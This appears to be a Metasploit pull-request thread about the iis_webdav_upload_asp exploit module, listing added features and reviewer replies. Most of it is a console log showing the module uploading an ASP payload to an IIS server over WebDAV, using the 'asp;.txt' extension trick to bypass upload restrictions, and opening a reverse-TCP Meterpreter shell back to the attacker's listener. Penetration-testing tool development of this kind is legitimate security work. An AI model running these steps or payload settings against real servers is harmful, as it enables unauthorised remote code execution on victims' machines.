iis_webdav_upload_asp: Add COPY and a few other tricks

[g0tmi1k]

• Now supports COPY (some times MOVE is limited/disabled)
• Safety net if forgot leading slash for PATH
• Able todo filename.asp;.txt for the PATH now (as well as hint to do it, if the session fails)
  • Able to use it o bypass file extension restrictions in older IIS! =)
• Checks to see if PATH is already on the target before uploading the TEMP file & stops if there is (I cannot overwrite)

Target

meterpreter > sysinfo
Computer        : <REMOVED>
OS              : Windows .NET Server (Build 3790, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x86/win32
meterpreter >
meterpreter >
meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 3004 created.
Channel 2 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service

c:\windows\system32\inetsrv>

---

msf exploit(iis_webdav_upload_asp) > show options 

Module options (exploit/windows/iis/iis_webdav_upload_asp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   METHOD    copy             yes       Move or copy the file on the remote system from .txt -> .asp (Accepted: move, copy)
   PASSWORD                   no        The HTTP password to specify for authentication
   PATH      zzz.asp          yes       The path to attempt to upload
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST     <REMOVED>        yes       The target address
   RPORT     80               yes       The target port
   USERNAME                   no        The HTTP username to specify for authentication
   VHOST                      no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     <REMOVED>        yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(iis_webdav_upload_asp) > 
msf exploit(iis_webdav_upload_asp) > 
msf exploit(iis_webdav_upload_asp) > run

[*] Started reverse handler on <REMOVED>:4444 
[*] Checking /zzz.asp
[*] Uploading 611022 bytes to /zzz.txt...
[*] Copying /zzz.txt to /zzz.asp...
[!] Copy may have failed. [207 Response]
[!] Try using 'set METHOD move' instead
[*] Executing /zzz.asp...
[-] Execution failed on /zzz.asp [404 Not Found]
[-] The COPY action failed. Possibly IIS doesn't allow 'Script Resource Access'.
[!] Try using 'set METHOD move' instead
[!] Pro Tip: Try 'set PATH /metasploit%RAND%.asp;.txt' instead
[*] Exploit completed, but no session was created.
msf exploit(iis_webdav_upload_asp) > 
msf exploit(iis_webdav_upload_asp) > 
msf exploit(iis_webdav_upload_asp) > 
msf exploit(iis_webdav_upload_asp) > set PATH /metasploit%RAND%.asp;.txt
PATH => /metasploit%RAND%.asp;.txt
msf exploit(iis_webdav_upload_asp) > 
msf exploit(iis_webdav_upload_asp) > 
msf exploit(iis_webdav_upload_asp) > run


[*] Started reverse handler on <REMOVED>:4444 
[*] Checking /metasploit140597426.asp;.txt
[*] Uploading 614030 bytes to /metasploit140597426.txt...
[*] Copying /metasploit140597426.txt to /metasploit140597426.asp;.txt...
[*] Executing /metasploit140597426.asp;.txt...
[*] Sending stage (957487 bytes) to <REMOVED>
[*] Deleting /metasploit140597426.asp;.txt (this doesn't always work)...
[!] Deletion failed on /metasploit140597426.asp;.txt [403 Forbidden]
[*] Meterpreter session 6 opened (<REMOVED>:4444 -> <REMOVED>:1066) at 2015-12-26 16:06:32 +0000

meterpreter >

[wvu]

I prefer the original.

[g0tmi1k]

Fixed up =)

[g0tmi1k]

Thanks boss! =)

[wvu]

:)